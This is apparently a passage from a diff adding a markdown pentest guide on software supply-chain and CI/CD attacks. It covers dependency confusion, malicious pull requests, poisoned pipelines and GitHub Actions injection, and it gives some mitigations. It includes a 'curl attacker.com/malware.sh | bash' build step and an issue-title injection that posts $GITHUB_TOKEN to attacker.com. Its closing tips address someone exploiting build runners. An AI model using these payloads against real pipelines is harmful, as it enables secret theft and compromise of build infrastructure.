These vulnerabilities often manifest in CI/CD pipelines, source code repositories, and dependency management systems.
|
|
13
|
+
|
|
14
|
+
## 1. Dependency Confusion & Typosquatting
|
|
15
|
+
|
|
16
|
+
Organizations often use proprietary, internal packages alongside public open-source packages from registries like npm, PyPI, or RubyGems.
|
|
17
|
+
|
|
18
|
+
### A. Dependency Confusion Attack
|
|
19
|
+
If an organization's internal package manager (e.g., Jenkins, Artifactory) is misconfigured to check a public registry *before* the internal registry, or if it queries both and favors the higher version number, an attacker can hijack the build process.
|
|
20
|
+
|
|
21
|
+
1. **Reconnaissance:** Analyze public `package.json`, `requirements.txt`, or exposed build logs to identify the names of internal, scoped, or private packages (e.g., `@acme-corp/auth-lib`).
|
|
22
|
+
2. **Exploitation:** The attacker registers a package with the *exact same name* on the public registry (e.g., npmjs.com), giving it an artificially high version number (e.g., `99.99.99`).
|
|
23
|
+
3. **Execution:** When the victim's CI/CD pipeline runs `npm install`, the package manager pulls the malicious package from the public registry due to the high version number, executing arbitrary code (via `preinstall` or `postinstall` scripts) on the build server.
|
|
24
|
+
|
|
25
|
+
### B. Typosquatting
|
|
26
|
+
Similar to domain typosquatting, attackers register public packages with names closely resembling popular legitimate packages (e.g., registering `react-domm` instead of `react-dom` or `python-urllib3` instead of `urllib3`).
|
|
27
|
+
- **Impact:** Developers accidentally typing the wrong name execute malicious pre-install hooks, resulting in workstation compromise or credential theft.
|
|
28
|
+
|
|
29
|
+
---
|
|
30
|
+
|
|
31
|
+
## 2. CI/CD Pipeline Exploitation (GitHub Actions, GitLab CI)
|
|
32
|
+
|
|
33
|
+
CI/CD pipelines (Jenkins, GitHub Actions, GitLab CI) inherently hold highly privileged secrets (AWS access keys, SSH deployment keys, registry tokens) and have direct write access to production environments.
|
|
34
|
+
|
|
35
|
+
### A. Malicious Pull Requests (PRs)
|
|
36
|
+
Many open-source repositories run automated tests (linting, building, unit tests) when a Pull Request is submitted from a fork.
|
|
37
|
+
|
|
38
|
+
1. **The Attack:** An attacker forks a repository and submits a PR containing malicious code within test files, configuration files (e.g., `tox.ini`, `package.json` scripts), or the build scripts themselves.
|
|
39
|
+
2. **Execution:** If the CI/CD pipeline automatically executes untrusted code from PRs without requiring approval (e.g., GitHub Actions `pull_request_target` event instead of `pull_request`), the malicious code runs on the organization's build runner.
|
|
40
|
+
3. **Exfiltration:** The attacker's code dumps environment variables `env > out.txt` and exfiltrates the repository's secrets/tokens to an external server.
|
|
41
|
+
|
|
42
|
+
### B. Poisoned Pipeline Execution (PPE)
|
|
43
|
+
If a developer can push code to a branch, they can modify the `.github/workflows/deploy.yml` or `Jenkinsfile` itself.
|
|
44
|
+
|
|
45
|
+
- **Direct PPE:** An attacker with write access changes the build steps to `curl http://attacker.com/malware.sh | bash`. This compromises the build agent, allowing lateral movement into the network or theft of hardcoded deployment secrets.
|
|
46
|
+
- **Indirect PPE:** Modifying the pipeline configuration to alter the deployment destination or upload malicious artifacts instead of the genuine build output.
|
|
47
|
+
|
|
48
|
+
### C. Runner Takeover (Self-Hosted Runners)
|
|
49
|
+
Organizations often use self-hosted CI/CD runners (e.g., an AWS EC2 instance running the GitLab Runner agent) rather than shared cloud runners.
|
|
50
|
+
- If an attacker achieves RCE via a malicious PR on a persistent self-hosted runner, they can escape the container (if applicable) and compromise the host infrastructure, gaining access to the internal network and long-lived cloud credentials (IMDS).
|
|
51
|
+
- Cloud runners are ephemeral (destroyed after the job); self-hosted runners are often reused, meaning malware persists across build jobs.
|
|
52
|
+
|
|
53
|
+
---
|
|
54
|
+
|
|
55
|
+
## 3. GitHub Actions Specific Exploits
|
|
56
|
+
|
|
57
|
+
### A. Command Injection / Context Injection
|
|
58
|
+
Unsanitized user input flowing into GitHub workflow execution blocks.
|
|
59
|
+
|
|
60
|
+
**Vulnerable Example:**
|
|
61
|
+
```yaml
|
|
62
|
+
steps:
|
|
63
|
+
- run: echo "Issue title: ${{ github.event.issue.title }}"
|
|
64
|
+
```
|
|
65
|
+
**Exploit:**
|
|
66
|
+
An attacker creates a GitHub Issue titled: `Title"; curl -X POST -d "$GITHUB_TOKEN" http://attacker.com; echo "x`.
|
|
67
|
+
When the workflow runs, the YAML evaluates to:
|
|
68
|
+
`echo "Issue title: Title"; curl -X POST -d "$GITHUB_TOKEN" http://attacker.com; echo "x"`
|
|
69
|
+
The attacker steals the dynamically generated `GITHUB_TOKEN`.
|
|
70
|
+
|
|
71
|
+
**Mitigation:**
|
|
72
|
+
Always use environment variables for untrusted input:
|
|
73
|
+
```yaml
|
|
74
|
+
env:
|
|
75
|
+
TITLE: ${{ github.event.issue.title }}
|
|
76
|
+
steps:
|
|
77
|
+
- run: echo "Issue title: $TITLE"
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### B. Third-Party Action Compromise
|
|
81
|
+
Workflows often rely on actions maintained by random third parties (e.g., `uses: untrusted-dev/cool-action@v1`). If that action's repository is compromised or the maintainer goes rogue, any pipeline relying on `@v1` automatically pulls the malicious code during the next build.
|
|
82
|
+
|
|
83
|
+
---
|
|
84
|
+
|
|
85
|
+
## 4. Source Code and Artifact Compromise
|
|
86
|
+
|
|
87
|
+
### A. Compromising Upstream Repositories
|
|
88
|
+
Attackers target the core infrastructure of open-source projects or SaaS vendors.
|
|
89
|
+
1. Stealing maintainer credentials (weak passwords, missing 2FA).
|
|
90
|
+
2. Pushing malicious commits silently.
|
|
91
|
+
3. Downstream users pull the compromised updates naturally.
|
|
92
|
+
|
|
93
|
+
### B. Artifact Tampering
|
|
94
|
+
If the build process signs artifacts (e.g., Docker images, JAR files), but the signing key is loosely protected, or the verification steps downstream are flawed, an attacker can replace legitimate binaries on an artifact repository (like Nexus or Artifactory) with backdoored versions.
|
|
95
|
+
|
|
96
|
+
---
|
|
97
|
+
|
|
98
|
+
## 5. Secret Leaks & Hardcoded Credentials
|
|
99
|
+
|
|
100
|
+
The most common "supply chain" vulnerability is simply developers leaving keys in the codebase.
|
|
101
|
+
- AWS Keys, Database passwords, or API Keys committed to `.git` history.
|
|
102
|
+
- Attackers use tools like `trufflehog` or `gitleaks` to scan public or leaked repositories. Once a key is found, the attacker uses it to pivot into the cloud infrastructure or production databases, bypassing the application layer entirely.
|
|
103
|
+
|
|
104
|
+
## Tooling & Methodology
|
|
105
|
+
|
|
106
|
+
```bash
|
|
107
|
+
# Recon and Secret Scanning
|
|
108
|
+
trufflehog git https://github.com/target/repo
|
|
109
|
+
gitleaks detect --source . -v
|
|
110
|
+
|
|
111
|
+
# Dependency Vulnerability Scanning
|
|
112
|
+
npm audit
|
|
113
|
+
retire.js
|
|
114
|
+
safety check # for Python
|
|
115
|
+
|
|
116
|
+
# CI/CD Security Posture
|
|
117
|
+
Legitify # Checks GitHub/GitLab org/repo configurations for security issues
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
## Critical Pro Tips
|
|
121
|
+
|
|
122
|
+
1. **Look for the `pull_request_target` Trigger (GitHub):** This event runs the workflow in the context of the *base* repository, not the fork, giving it access to repository secrets. It is incredibly dangerous if it checks out untrusted code or passes untrusted data to a `run` block.
|
|
123
|
+
2. **Analyze `package-lock.json` and `yarn.lock`:** Don't just look at dependencies; look at where they are resolved from. Sometimes developers accidentally resolve packages to an insecure mirror (`http://...`) opening the door for MITM attacks during the build process.
|
|
124
|
+
3. **Assume the Runner is Root:** When exploiting a CI/CD runner, assume you have maximum privileges over that machine. Treat it like a standard internal penetration test. Run linPEAS, check Docker sockets (`/var/run/docker.sock`), and query cloud metadata APIs immediately.
|
|
125
|
+
4. **GitHub Token Enumeration:** If you extract the automatic `GITHUB_TOKEN` from a workflow, remember its permissions are determined by repository settings. It might only have read access, but it could have the power to create new releases, approve PRs, or modify repository settings.
|